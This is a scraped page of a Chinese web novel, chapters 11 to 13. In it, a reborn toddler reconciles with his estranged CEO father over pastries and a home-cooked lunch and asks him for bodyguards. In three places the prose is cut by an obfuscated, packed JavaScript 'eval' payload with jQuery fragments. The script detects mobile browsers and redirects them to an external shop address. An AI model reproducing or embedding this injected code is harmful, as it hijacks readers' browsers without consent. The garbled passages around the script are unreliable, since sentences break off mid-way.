江舒淮点了点头:“好,不过学毛笔字是要坚持的,小鱼可以做到吗?” “可以的!”江小鱼猛点头。 “真乖。”江舒淮摸了摸江小鱼的头。 江小鱼指指脸颊,江舒淮笑着亲了他一口。 半夜睡醒,钟忘熵猛的坐起来,他还是不懂,那小孩儿为什么哭? 周六,钟氏集团,董事长办公室里,周围一片森冷的气息,里边的人忍不住想打哆嗦。 钟忘熵冷着脸:“今天他为什么不能来?” 王守成苦着一张脸:“钟总,今天是周末,幼儿园不上学的。” 钟忘熵:“从今天开始,幼儿园周末也上学。” 王守成脸上更苦了:“钟总,这个咱们做不了主的。” 钟忘熵抱着胸,冷冷看着王守成。 王守成发现,自从他接手这个幼儿园以后,让他掉头发的事情更多了,比如想方设法哄全班开心,但就是哄不了江小鱼。 好在工资也翻了一倍,王守成非常尽心尽力地想着办法:“钟总,要不咱们办一个周末托管班,针对那些周末没时间带孩子的家庭,这样的话,您周末可以见到……” “早点办好。”钟忘熵丢下四个字。 王守成一出办公室,就拿着儿子的小天才电话手表和江小鱼发消息。 江小鱼发过来的语音,严肃的奶声奶气:“不可以哦,我周末还要陪着我爸爸。”更何况他几天前才被钟忘熵嘲笑过,现在暂时不想见到对方。 王守成:“小祖宗,你就答应吧,钟总他都快要疯了!” 江小鱼:“嗯?” 王守成:“现在公司没一个人敢靠近钟总的,小鱼,你就当可怜可怜我们吧。” 江小鱼:“怎么会呢?他就是嘴巴不会说话,脾气还是很好的。” 钟总?脾气好?王守成都快要吐血了。 这一次,不管王守成怎么劝,江小鱼都铁定了心,他周末是要陪爸爸的,绝对不会再去陪钟总的。江小鱼想,他每天上学,和爸爸见面的时间就已经很少了,如果周末都不能和爸爸待在一起,他的生活还有什么乐趣? 店里没了客人,李纯伸了个懒腰,看向不远处在桌子上乖乖练字的江小鱼。 李纯过去看了看,江小鱼的毛笔字已经像模像样了,想起不久前江小鱼跟她打听的事情,李纯问道:“小鱼,你找到最厉害的姓钟的人了吗?” 江小鱼放下毛笔,脸上笑容非常大:“找到了,谢谢李纯姐姐。” “不客气。”李纯笑着摸了摸江小鱼的脸蛋。 这好这时候江舒淮出来,笑着看向二人:“聊什么呢,这么开心。” 李纯:“聊之前小鱼向我……” 江小鱼急忙拉住李纯:“向李纯姐姐请教问题。” 李纯点了点头。 江小鱼大大松了口气。 他这心虚的模样太明显,谁也能看出来。 江舒淮尊重孩子的小秘密,笑道:“看来小鱼最近很爱学习啊,真棒!” 江小鱼得意地挺起小胸膛。 李纯没忍住掐了一下江小鱼的脸蛋。 江小鱼双手捂着脸:“姐姐,不许掐了。” 李纯:“……”更想掐了。 练字累了,江小鱼就挤进后厨跟江舒淮学习裱花,江小鱼绷着小脸一脸认真,但挤出来的形状丑的让人不忍直视。 江舒淮满意的点了点头:“小鱼真棒!” 其他人:“……” 当爸爸的溺爱成这个样子,他们是真佩服! 11. 第 11 章 江小鱼的计划是整个周末都在甜品店里陪着爸爸。 可惜计划赶不上变化,周日下午的时候,幼儿园家长群里发出通知,有一个临时座谈会,感兴趣的小朋友可以和家长一起参加,去的小孩和家长在群里接龙。 江舒淮看了一眼座谈会的主题,是关于四到五岁孩童阶段自我秩序建立的,还挺有意思。 江舒淮仔细给江小鱼解释了一番,问他:“小鱼,你想参加吗?” 江小鱼摇了摇头,没多大兴趣。 江舒淮也没强求,就继续忙了。 也就是这个时候,江小鱼的电话手表响个不停。 看到是谁发的消息后,江小鱼的小胖手摁住屏幕,躲到了一个爸爸看不到的角度,才跟王守成发语音:“王叔叔,你好烦。” 说完,江小鱼才点开王守成给他发的语音条,一条一条的听。 “小鱼啊,下午幼儿园的座谈会是钟总举办的,就是为了见你,你能抽出时间过来一趟吗?你只要见他一面就行了。” “求求你了,小鱼,钟总现在火气很旺,很不开心,只要你跟钟总说说话,钟总心情好了,叔叔马上送你回家。” 江小鱼有一瞬间的愣怔,是因为自己和钟忘熵吵架了,所以钟忘熵在不高兴? 江小鱼抿了抿嘴,虽然钟忘熵说话不好听,但看在他是自己另一个爸爸的份上,自己也不是小心眼的人,如果他肯跟道歉的话,那就勉为其难原谅吧。 江小鱼又点开下一条语言,王守成的声音有几分不妙:“小鱼,钟总说你要是不来,他就要去找你了。” 江小鱼猛地站起来,钟忘熵怎么能这样! 这是威胁! 正好之前林小路邀请他一起去,江小鱼回复之后,跑到江舒淮面前,抱着江舒淮的大腿:“我又想去了,爸爸。” 小孩子的想法本就多变,江舒淮放下手里的工具:“行,爸爸现在带你过去。” 江小鱼摇了摇头:“不用了,爸爸,我的好朋友要去,他等下就来接我。” 江舒淮也收到了林小路妈妈的消息:“小鱼爸爸,我们马上就要到了。” 江舒淮问:“是小路吗?” 江小鱼点了点头:“是他,他是我小弟。” 江舒淮同意了,他忍笑:“但是小路比你大一天哦,按理说你要喊他哥哥。” 江小鱼一副神秘莫测的样子:“爸爸,我们不是按这个算的,按照我们的算法,我就是大哥。”至于按什么算的,江小鱼暂时没打算跟爸爸说。 “好吧,”江舒淮装了几个蛋挞和一些别的甜品,告诉江小鱼,“一个蛋挞是给你吃的,其他的是送给小路的,谢谢他捎你一起过去。” 因为有蛋挞吃,江小鱼眼睛亮亮的,猛点头,也是这时候,江小鱼想起钟忘熵的话,笑容瞬间笑容,江小鱼委委屈屈地问:“爸爸,我胖吗?” 江舒淮蹲下身,很认真地看了看江小鱼:“不胖啊,我们小鱼很苗条的。” 李纯和苏云涵闻言齐齐抬头,虽然江小鱼萌萌的很可爱,但江小鱼在江舒淮的溺爱下,□□弹弹的,怎么也算不上苗条吧? 果然,老板对儿子永远有滤镜。 江小鱼自然神更信任江舒淮,眼下他终于满意了,他根本一点不胖,是钟忘熵眼神有问题! 很快,林小路妈妈来了,江舒淮也是最近才加上林小路妈妈联系方式的,对方是一位热情的东北大姐。 江舒淮把江小鱼交到对方手上:“麻烦你了,方大姐。” “客气啥,小路,带着小鱼上车。” 江舒淮跟江小鱼挥手告别。 车上,江小鱼毫无心理负担的留下一个蛋挞,揣进兜里,把其他的都递给林小路:“这是我爸爸请你和阿姨吃的,谢谢你们带我一起。” “你爸爸太客气了。”林小路妈妈摸了摸江小鱼的头。 林小路自从在甜品店门口就闻到甜甜的香味了,眼下馋的不行,眼巴巴地看着妈妈。 林小路妈妈摇了摇头:“甜品要在吃完饭之后才可以吃的哦。” “好吧。”林小路失落的低下了头。 江小鱼跟他说悄悄话:“不要伤心,改天我还带给你吃,就我们俩个,悄悄地吃。” 林小路开心了:“谢谢大哥。” 说完,俩小孩正襟危坐,假装什么都没有说。 林小路妈妈:“……”拜托,我听力很好的,你们俩密谋的声音这么大,装听不见很难的。 王守成早就守在门口了,见江小鱼过来,立马带着三人到了第一排。 林小路妈妈有些惊讶,心想这待遇真好:“谢谢大哥。” 王守成脸上都是真诚的笑容:“你们能来就已经很好了。” 江小鱼小小地“哼”了一声。 第一排,林小路妈妈坐在中间,林小路和江小鱼坐在她一左一右。 而江小鱼右边,是西装革履的钟忘熵。 林小路妈妈多看了好几眼钟忘熵,悄悄跟江小鱼说悄悄话:“这是你们新校长吗?长得好帅。” 江小鱼扭头:“是的,阿姨。” 说完话,江小鱼回过头来,看着讲台的位置,全程目不斜视,不肯给钟忘熵一个眼神。 江小鱼可还没忘呢,钟忘熵不仅不跟他道歉,还威胁他,简直过分太过分了! 钟忘熵扭头,看到的就是板着小胖脸的江小鱼。 虽然和以前的舒淮不一样,但……也挺可爱的。 讲座过程中,钟忘熵听地认真,江小鱼听地直打哈欠,果然没意思,不如在店里陪着爸爸。 结束之后,有家长和专家面对面交流的环节,王守成适时过来,跟林小路妈妈说,可以帮忙看着俩孩子。 林小路妈妈非常感谢,去隔壁向专家咨询去了。 江小鱼依旧目视前方,谁也不搭理。 钟忘熵没忍住,轻叹了口气,清了清嗓子:“别气了。” 江小鱼瘪着嘴,终于扭头看他,但明显是要个说法。 钟忘熵没见江小鱼之前,想见他,见到之后,钟忘熵也不知道说什么,还是王守成打圆场:“小鱼,钟总也不是故意的,你别生气了。” 江小鱼指着钟忘熵:“你让他自己说。” 钟忘熵一愣,有种诡异的熟悉感,他猛地想起,之前自己做了什么错事,舒淮也是这样的。 钟忘熵心情一瞬间变得极好:“行,我错了,我跟你道歉,对不起。” 江小鱼瞬间变得得意:“你错哪儿了?” 钟忘熵绞尽脑汁,也不知道自己错哪了,他看一眼王守成。 王守成也就从助理那里听了个大概,眼下他也不知道怎么说啊! 钟忘熵见指望不上王守成,便道:“我做的所有事情都不对。” “那倒也没有。”江小鱼软下了语气。 王守成见状:“哈哈,咱们说开了就行,哪有隔夜仇的!” 钟忘熵:“你闭嘴,我在跟他说话。” 江小鱼认同地点了点头,这是他和钟忘熵的事情,他们俩个解决就够了! 王守成:“……”算了,想想这俩能聊到一块的神人,多少都有点不正常。 王守成转头跟林小路聊天,还送了他一根棒棒糖。 江小鱼向来是个大度的人,这事既然过去了,那就算了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643388|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我有好好练字哦。”江小鱼傲娇道。 钟忘熵来了兴趣,指了指桌子上的纸笔:“来写俩个字,我看看。” 江小鱼摇了摇头:“这里没有工具,我练的是毛笔字。” 钟忘熵直接笑了:“毛笔字好啊!” 钟忘熵这一笑,把王守成吓个不轻,没忍住扭头看了一眼,这还是钟总吗? “今天确实不太方便,”钟忘熵站起来转悠了两圈,又坐回来,“改天,我让人在办公室加张桌子,你就在那上边练字。” 江小鱼点了点头:“好啊。” 短暂的别扭之后,江小鱼和钟忘熵又和好了。 林小路妈妈没多久就回来了,谢过王守成后,带着俩小孩回去了。 钟忘熵坐着没动,突然看到了旁边位置上,一个用塑料袋包裹着的,不知道是什么的东西。 钟忘熵捡起来,问王守成:“这是什么?” 王守成通过塑料袋,艰难地看出来:“钟总,好像是蛋挞。” 钟忘熵疑惑地解开塑料袋,先是闻了闻,而后眼前一亮。 王守成目瞪口呆,看着钟总两口吞完一个蛋挞,心想,他好像知道送钟总礼物要送什么了。 钟忘熵优雅地抚了抚身上的渣渣,发布圣旨:“跟他说一声,明天带上他亲手做的蛋挞来幼儿园。” 即使已经习惯了钟忘熵的抽象,王守成嘴角还是没忍住抽了几下,幼儿园的学生,亲手做蛋挞? 尽管这个要求十分离谱,王守成还是如实向江小鱼转达了。 江小鱼回来的路上还在生气了,生气蛋挞丢了,没想到刚到店里,就收到了王守成的消息,知道蛋挞是被钟忘熵吃了后,江小鱼瞬间不气了,有人吃了就好,这样就没有浪费爸爸的成果。 至于亲手做这件事,江小鱼根本没想那么多,只表示知道了。 甜品点里,江小鱼委委屈屈地说没吃到蛋挞,江舒淮摸了摸江小鱼的肚子,便给他拿了一个:“现在开心了吗?” 江小鱼开心地点了点头,吃完蛋挞。 李纯忍不住好奇:“老板,你就这么相信小鱼?” 江舒淮点头:“小孩子很好懂的,撒没撒谎一眼就看出来了。” 李纯摸了摸下巴,看来她对小孩子的了解不足百分之一。 周一一开学,校长办公室的桌子就已经布置好了,笔墨纸砚也都摆上了,钟忘熵迫不及待要看江小鱼练字的成果。 江小鱼敲了敲门:“钟校长?” 钟忘熵:“不要叫我校长,叫我爸爸。” 江小鱼:“……” 怎么又扯到这了? 江小鱼没叫,只是把蛋挞递给钟忘熵。 钟忘熵接过,一边啃一边远远地看着江小鱼,他下意识不想看江小鱼字写得怎么样了,只觉得江小鱼这个握笔姿势非常标准:“以前你写毛笔字就写的最好看了,现在……这个姿势跟以前一模一样。” 江小鱼得意,那当然了,这是爸爸握着他的手亲手教的,能不像吗? 看钟忘熵这个样子,好像很思念爸爸,江小鱼忍不住疑惑,当时爸爸和钟忘熵是为什么分开了呢? 为什么上辈子他和爸爸死之后,钟忘熵才知道他们的存在? 他记得这辈子第一次见钟忘熵之前,王叔叔说钟忘熵的白月光死了,所以钟忘熵以为爸爸死了? 他们之间到底发生了什么? 江小鱼小小的脑袋里,全是大大的疑惑,还全都搞不清楚。 “想什么呢?”钟忘熵问。 “想你和爸爸……”江小鱼话到一半,急忙捂住嘴。 钟忘熵疑惑的看着他。 12. 第 12 章 江小鱼急中生智:“想你越来越像我爸爸了!” 一句话把钟忘熵哄开心了,他大手一挥:“行了,回去上课吧,今天不要求你练字了。” “啊?”江小鱼一时之间没反应过来。 钟忘熵吃完了两个蛋挞,淡定地拍拍手:“你做的这个蛋挞味道不错,明天多带几个过来,两个吃不饱。” 江小鱼傻眼了,哪有人靠吃蛋挞吃饱的? 再说不吃饭只吃蛋挞算怎么回事,江小鱼体贴地问:“你还要吃点别的吗?” “还有别的?”钟忘熵脚步停下。 “当然有了,有甜甜的草莓蛋糕,糯糯的芋泥虎皮卷,还有香香的蜜瓜青提卷,软软的雪媚娘,都特别好吃!”光是报名字,江小鱼都快要忍不住流口水了。 钟忘熵点了点头:“行,那就都来一份。” 江小鱼傻眼了,都来一份? 他求求爸爸,可以带一样来幼儿园,但他可能还真没办法全都带过来。 江小鱼想跟钟忘熵说这件事情的不可能实现时,钟忘熵已经大步离开了办公室。 江小鱼回到教室,只能转头联系王守成。 听完前因后果后,王守成确认道:“所以,是你家里开了个甜品店,这些东西店里都有,但是不知道找什么理由带到幼儿园来,是吗?” 江小鱼回了一个:“嗯呢。” 王守成现在脑子灵光得不行:“我来想办法。” 于是当天晚上,王守诚作为幼儿园老师联系上了江舒淮,表示他们幼儿园想订购一批甜品,作为第二日甜品课课堂的样本。 江舒淮当即表示可以送给幼儿园。 王守成坚持要给钱,不能白要。 最后在双方的拉扯下,江舒淮给了一个友情价,并答应在第二天带着甜品来幼儿园。 幼儿园门口,江小鱼跟做贼似的东张西望,没有看到王守成和钟忘熵后,才让爸爸出来。 江舒淮尽管十分不解,但也配合照做了。 在江小鱼的左顾右盼下,江舒淮把甜品给老师后,江小鱼快速给了爸爸两个亲亲,就催促爸爸快走,仿佛身后有什么洪水猛兽似的。 江舒淮配合着骑着小电驴回去了。 几乎是江舒淮走的瞬间,钟忘熵那辆黑色的超酷的车过来了。 王守成下车,贴心地给钟忘熵打开车门。 钟忘熵带着黑色墨镜下车,让好多小朋友都“哇塞”了一声。 钟忘熵摘下墨镜,看着江小鱼,伸手挥了挥,示意他跟着自己走。 校长办公室里,桌子上全都是甜品,香甜的味道直往人鼻孔里钻。 江小鱼眼巴巴的看着钟忘熵,想着这么多的甜品,钟忘熵肯定吃不完,怎么也得给自己分一点吃吧? 那等一会,他就带着这些甜品回教室慢慢吃,他答应过要给他的小弟林小路分好吃的的。 但一眨眼,钟忘熵一个人解决了所有甜品。 江小鱼瞪大了眼睛,没忍住疑惑:“你肚子怎么那么大的?” 钟忘熵手放在肚子上:“还好。” “我吃的好少的。”江小鱼状似不经意地道。 “但是你……”“胖”字还没说出口,王守成却已经预判到了钟忘熵想说什么,急忙重重地咳了一声。 想起上次因为说了江小鱼胖,江小鱼就哭鼻子的事情,向来有话直说的钟忘熵钟大总裁,罕见地咽下了一个字。 在江小鱼疑惑的目光中,钟忘熵改口:“……跟我比,你吃的确实不多。” 虽然这俩日根本就没有可比性,但江小鱼还是肉眼可见的开心了,他就知道爸爸说的是对的,他根本一点都不胖,可苗条了! 钟忘熵没坐多久,眉头微微皱起,匆忙地走了。 江小鱼已经习惯了钟忘熵来无影去无踪,转身就回到了教室里,坐下来继续听老师讲故事。 医院里,钟忘熵挂着盐水。 王守成也没想到,钟忘熵这么大人了,还能把自己吃吐了:“钟总,你也要保重身体。” 钟忘熵闭上眼睛,一律不听,但惨白的嘴唇和不断冒着冷汗的额头,显示着钟忘熵此刻并不舒服。 王守成此刻也释怀了,像钟总这样站在金字塔顶尖的人,白月光死了,脑子又不正常,整个人也不开心,只能在小孩身上找慰藉。 还不如他,除了加班累点,但家庭幸福,老婆温柔,儿子可爱,父母健全,不管在外面有多累,只要回到家,就像回到了一个温暖的港湾。 罕见地,江小鱼两天都没有见到钟忘熵,不免有些稀奇。 眼看着江小鱼对最爱的短剧都没了兴趣,江舒淮身上在他眼前晃了晃:“想什么呢,小鱼?” 江小鱼撑着小下巴:“爸爸,我有个朋友,我已经和他两天没有见面了。” 江舒淮问:“你想他了吗?” 江小鱼摇摇头,又点点头:“有点吧。” 江舒淮:“你有他的联系方式吗?可以给他发消息问一问。” 江小鱼这才想起,他竟然没有钟忘熵的联系方式! 江小鱼苦着脸:“没有耶,爸爸。” 江舒淮替江小鱼想办法:“这样吧,爸爸替你在幼儿园群里问一问,表达一下你对那位同学的关心,好吗?” 江小鱼两只小手急忙握住江舒淮的右手:“不用了,爸爸,我现在一点都不想他了。” 江舒淮看着江小鱼,总觉得江小鱼最近变化有些大。 没给江舒淮继续思考的时间,江小鱼抱着江舒淮的胳膊,撒娇让江舒淮给他讲故事。 江小鱼在课堂上格外不愿意听的故事,听爸爸给他讲的时候,总觉得格外有趣。 江小鱼没想到,第二天的时候他就和钟忘熵再见了,而再见的地点在幼儿园后厨里,钟忘熵理直气壮地道:“我饿了,你给我做些吃的。” 江小鱼疑惑的指了指自己:“我吗?” 钟忘熵点头:“那些甜品不都是你做的吗?” 江小鱼:“谁跟你说那是我做的了?我才这么小,怎么会……” 钟忘熵:“我能吃出来你做的东西的味道,我很确定,那就是你做的。” 江小鱼反应过来,得,又把他认成他爸了。 江小鱼点了点头:“……是我做的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江舒淮摇了摇头:“小鱼,在其他小朋友家长不在的情况下,爸爸不建议你和其他小朋友分享吃的,原因爸爸之前给你讲过的。” 江小鱼点了点头,灵机一动:“我们幼儿园门口有一条大黑狗,等我吃饱以后,我就把剩下的饭菜喂给它。” 见江小鱼这么坚持,江舒淮再三跟江小鱼强调,自己吃饱了就可以了,吃不完的话再拿回来,爸爸不会怪他的。 得到江小鱼的再三保证后,江舒淮找来一个保温盒,把剩下的饭菜全部打包进去。 更稀奇的是,以往非常不情愿去幼儿园的江小鱼,这次在家里连午睡到没睡,就让江舒淮送他去了幼儿园。 江舒淮看着儿子小小的背影,有些感慨,看来儿子是有小秘密了。 江小鱼拎着重重的保温盒来到了幼儿园,快速跑到了校长办公室。 推开门,江小鱼气喘吁吁地喊道:“你的饭来了!” 13. 第 13 章 钟忘熵正在闭目养神,被这动静吓了一跳,不用睁眼就知道是江小鱼。 他想,江小鱼这嗓门可真大! 江小鱼费力提着饭盒进门,走到沙发上,把饭盒放到茶几上,示意钟忘熵可以过来吃饭了。 钟忘熵大爷似的下巴微抬,等着江小鱼给他打开盒饭,布置好一切。 江小鱼歪头疑惑的看着钟忘熵,不懂为什么对方都饿的肚子咕噜咕噜叫了,还不赶紧吃饭,是不爱吃饭吗? 四目相对,钟忘熵疑惑的看着江小鱼,江小鱼滚圆的大眼睛眨啊眨,眨啊眨,看着钟忘熵。 最终,钟忘熵无奈的叹了口气,屈尊降贵的打开饭盒。 打开的瞬间,钟忘熵有片刻的怔愣。 “快吃啊,我跟你说这个饭可好吃了,我可是为了让你能吃饱,少吃了好多呢。”说到这儿,江小鱼觉得自己可真伟大,为了自己的另一个爸爸一口吃的,自己可是硬生生少吃了好多呢! 古有卧冰求鲤,今有江小鱼为父吃饱,自省口粮。 听过二十四孝故事的江小鱼觉得,还是他的做法正确一点。 就在江小鱼胡思乱想的时候,钟忘熵已经开始大口吃起饭来。 和上次两口吞一个蛋挞的吃饭速度不同,这次钟忘熵吃饭堪称得上是细嚼慢咽。 “是不是特别好吃?”江小鱼问。 钟忘熵点了点头:“你的手艺,一如既往的好。” 江小鱼不说话了,在钟忘熵看他的时候,才道:“嗯呢,一直这么好。” 吃到最后一口的时候,钟忘熵看了许久,饭送到嘴里的瞬间,扭过了头。 江小鱼本来没觉得有什么,直到他听到了轻微的吸鼻子的声音。 “你哭了?”江小鱼小心翼翼地问。 “没有。”钟忘熵冷酷无情道,转过身来的时候,脸上看不出什么异样,但眼眶略微有些发红。 江小鱼大眼珠子滴溜溜地转,心中闪过安慰的话。 他离开爸爸一会儿都想念的不行,钟忘熵以为爸爸没了,肯定更伤心。 好不容易组织好语言,江小鱼抬头,发现钟忘熵正撑着下巴在看他。 江小鱼瞬间忘了自己要说什么了,歪着头看钟忘熵。 钟忘熵依旧一动不动,江小鱼终于没忍住问:“你在想什么呢?” 直到江小鱼的小胖手在钟忘熵面前晃悠了好几下,钟忘熵才回道:“在想怎么把你拐回我家给我当厨子。” 江小鱼:“???” 就在江小鱼绞尽脑汁想拒绝的话时,钟忘熵手放下来,摆出一个谈判的姿势来:“看在这顿饭还不错的份上,我可以答应你一个条件,你之前不是一直想让我帮你做什么嘛,现在可以说了。” 江小鱼眼睛瞬间亮了,他正好想跟钟忘熵说了,没想到钟忘熵主动提了,江小鱼试探着问:“什么条件都可以吗?” 钟忘熵点了点头:“只要是我能做到的。” “你肯定能做到的,”江小鱼摩拳擦掌,“你可以给我一些人吗?那种穿着黑衣服的,打架很厉害的,可以把人摁在地上揍的。” 从江小鱼这么长串的形容词中,钟忘熵精准地提取出关键词来:“保镖?” 得知保镖是干什么的后,江小鱼猛猛点头:“对,就是保镖。” 钟忘熵:“你要几个?” 江小鱼认真想了想:“十个!” 想到十个黑衣保镖跟在江小鱼身后,威风凛凛的在幼儿园里晃悠,钟忘熵觉得这个场面不太美妙。 钟忘熵没忍住问:“你要那么多保镖干什么?” 江小鱼眸色暗了下来:“我怕有人欺负我……”和爸爸。 钟忘熵轻蔑一笑:“有我在,我看谁敢欺负你。” “我知道你很厉害的。”江小鱼夸道。 钟忘熵得意。 江小鱼夸完就问:“那保镖能都听我的话吗?” 钟忘熵眯眼看着江小鱼,怎么还没有放弃保镖?他都说了不会让人欺负江小鱼的,还要保镖干什么。 迎着江小鱼亮晶晶的大眼睛,钟忘熵决定不再纠结这个问题了,江小鱼既然要了,那肯定有他的道理。 钟忘熵点了点头。 江小鱼多了个心眼:“他们会把我干了什么告诉你吗?” 钟忘熵:“你想吗?” 江小鱼猛摇头。 钟忘熵:“那就不会,到时候他们都听你的。” “谢谢你。”江小鱼真诚道,不管是上辈子还是下辈子。 钟忘熵:“你什么时候要?明天我就让保镖到幼儿园来。” 江小鱼急忙挥手:“现在还不需要,过几天我才要用得到。” 钟忘熵点了点头。 江小鱼伸出自己的电话手表来:“我可以加一个保镖的联系方式吗,等我用到它的时候,我好找他。” 钟忘熵黑了脸:“你都没有主动加过我的联系方式。” 眼下,江小鱼只能主动添加了钟忘熵的联系方式。 钟忘熵这才勉强满意了,把自己的保镖头头推给了江小鱼:“我已经跟他说过了,这半年里,他随时听你调遣。” 江小鱼感动坏了,没忍住又来了一句:“谢谢。” 钟忘熵眯起眼睛:“要真想谢我,也不是没有办法。” 江小鱼率先说明:“我是不能去你家给你当厨子的。” 钟忘熵点了点头:“那还有其他的方式。” 江小鱼歪头看他。 钟忘熵拍了拍手,王守成带着人推着巨大的衣架过来,只见上边全是成套的童装,多达几十套。 江小鱼看着衣架上的衣服,总觉得眼熟,待想了许久,才发现,那是爸爸喜欢的风格。 这是要干什么? 在江小鱼疑惑的眼神中,钟忘熵指着一套白衬衫和牛仔裤:“先试试这身让我看看。” 江小鱼接过衣服,王守成要帮他,江小鱼挥着小手拒绝:“放心,叔叔,我会自己穿衣服。” 江小鱼动作很快,穿着钟忘熵指定的衣服出来。 只不过这件衣服和江小鱼平时的衣服很不一样,让江小鱼有些别扭。 钟忘熵挥挥手,江小鱼过去。 都不用让江小鱼转圈儿,钟忘熵怎么看怎么不得劲,江小鱼还是太圆了! 江舒淮大学的时候身形消瘦,穿着衣服时空荡荡的,而他按照等比例定制的小衣服,穿在江小鱼身上,几乎没有空隙。 由于有了上次惹毛江小鱼的前车之鉴,这次钟忘熵没有直接说他胖,但紧皱的眉头还是出卖了他。 江小鱼看着钟忘熵又开始发呆了,没忍住笑了一下。 钟忘熵突然道:“你别笑得那么傻。” 王守成急忙重重咳了一声,提醒钟忘熵说错话了,钟忘熵立马改口:“你要笑得智商高一点。” 王守成心里没忍住道:钟总你骂人是真高级啊! 江小鱼只是小又不是傻,怎么可能听不出来钟忘熵是在说他傻,记仇的江小鱼当下就不太配合,横着笑,竖着笑,就是不按照钟忘熵想的那样笑。 在钟忘熵眉头皱得快要能夹起一只苍蝇的时候,江小鱼终于大发慈悲,学着爸爸的样子,低头抿嘴笑了笑。 小孩子本就模仿能力很强,江小鱼这辈子最崇拜的就是江舒淮,平时江舒淮干什么他干什么,就跟个小屁虫似的,所以学起来格外像。 眼下江小鱼笑起来,可以说是学了个八成像。 钟忘熵猛地站起来,吓了所有人一跳 而江小鱼是物理意义上真正的跳了起来,跳起来的瞬间自然失去了表情管理。 钟忘熵又不满地坐下:“你别跳起来。” 江小鱼:“……” 算了,就当哄他开心了,江小鱼安安静静站着,任由钟忘熵陷入了回忆里。 钟忘熵刚开学的时候,觉得大学很没有意思,学着无聊的知识,听着无聊人的讲课,周围都是无聊的同学。 而且这些人一个比一个无趣的人,都想跟他说话。 钟忘熵已经极力隐藏着自己了,还是逃不过一些热情的男男女女。 钟忘熵很烦躁,真的很想按照自己的脾气,命令这些人不许再看他了,不然有他们的好果子吃。然想起上大学之前和爷爷的约定,钟忘熵只能别扭的忍受着。 直到某一天,一道清亮的视线看向了他,钟忘熵不耐烦的抬头,却看到了一个清秀漂亮干净的人,钟忘熵的心脏不受控制的快速跳动了几分。 钟忘熵很快知道,这是他们班的班长江舒淮,好多人都喜欢江舒淮。 而江舒淮,好像对他情有独钟,偷偷暗恋着他。 钟忘熵认真分析过,自己的猜测应该没错,因为江舒淮总在上课的时候四处搜寻他的位置,还试图找他搭话,虽然钟忘熵因为紧张每次都跑了,但这个套路钟忘熵可太熟悉,曾经无数个想跟他告白的男男女女最开始都是这样的,所以江舒淮这不是喜欢还能是什么? 于是,钟忘熵大方的回应了对方的喜欢,单方面宣布他们已经是情侣了。 这个消息最先从钟忘熵的宿舍里传出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643390|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开学已经很长时间了,钟忘熵的室友和他都不太熟,直到某一天,钟忘熵提着一大堆零食回到宿舍,一脸认真的宣布他有对象了,这些零食请大家吃。 钟忘熵的室友们不断说着恭喜。 由于钟忘熵讲这话时太过于认真了,大家从来没有怀疑过这话的真假,而八卦向来是最快速传播的东西,俩人恋爱的消息快速散布到整个学院。 钟忘熵略有些得意,这样的话,喜欢江舒淮的那些男男女女,总不能再不要脸的往他面前凑了吧。 在他们恋爱的两周后,钟忘熵终于收到了江舒淮的约会邀请,钟忘熵起个大早,不顾宿舍里人被吵醒后的抱怨,认真做了造型,穿上合体的衣服,来到了约会地点。 “我要去上课了!”江小鱼不得不大声喊道。 钟忘熵不知怎的,突然没了动静,江小鱼和王守成不管怎么说话,钟忘熵只时不时的乐一下,根本不搭理俩人。 江小鱼无奈,只能发出更大的声音,把对方喊回神。 钟忘熵被打断回忆,略微不满地看了江小鱼一眼,发现对方已经把衣服换掉了,他没说什么,只道:“课有什么好上的,又没意思又无聊,你就坐这儿玩一会儿吧。” 本来喊着要上课的江小鱼,听见这话,又乖乖坐到了钟忘熵的旁边:“我可以玩你的手机吗?” 钟忘熵:“……” 江小鱼:“平板也可以。” 一个崭新的平板递到江小鱼手上,江小鱼爱不释手:“那我就不去上课了。” 钟忘熵:“……” 舒淮是这个样子的吗,舒淮明明最爱上课了,一节课都不许他逃,而眼前这个小胖鱼,一听说不上课就开心的要死,还主动找他要平板玩。 这对吗?这一点都不对! 钟忘熵没忍住道:“舒淮当时最爱上课了。” 江小鱼的眼睛在平板上,分不出半个眼神来:“是吗?” 钟忘熵:“当然了,舒淮是我们班的班长,是所有同学的表率,所有同学都敬重听,喜欢听……” 江小鱼已经在钟忘熵的讲述中放下平板,他听得津津有味,原来爸爸以前这么优秀啊! 江小鱼与有荣焉! 钟忘熵让江小鱼玩了三十分钟的平板,就收了回来。 江小鱼:“那我去上课啦?” 钟忘熵这次终于点头了,江小鱼蹦蹦跳跳走了。 放学之后,江小鱼坐在小电驴的后座上,抱着江舒淮的腰,突然道:“爸爸,你大学的时候竟然是班长,好厉害啊!” 江舒淮疑惑:“你怎么知道的?” 江小鱼:“……唔,做梦梦到的吧。” 江小鱼抿紧小嘴巴,果然一开心就会得意忘形。 江舒淮没多想,带着江小鱼回家。 回家之后,江舒淮去做饭,江小鱼则乖乖的去写作业加练字。 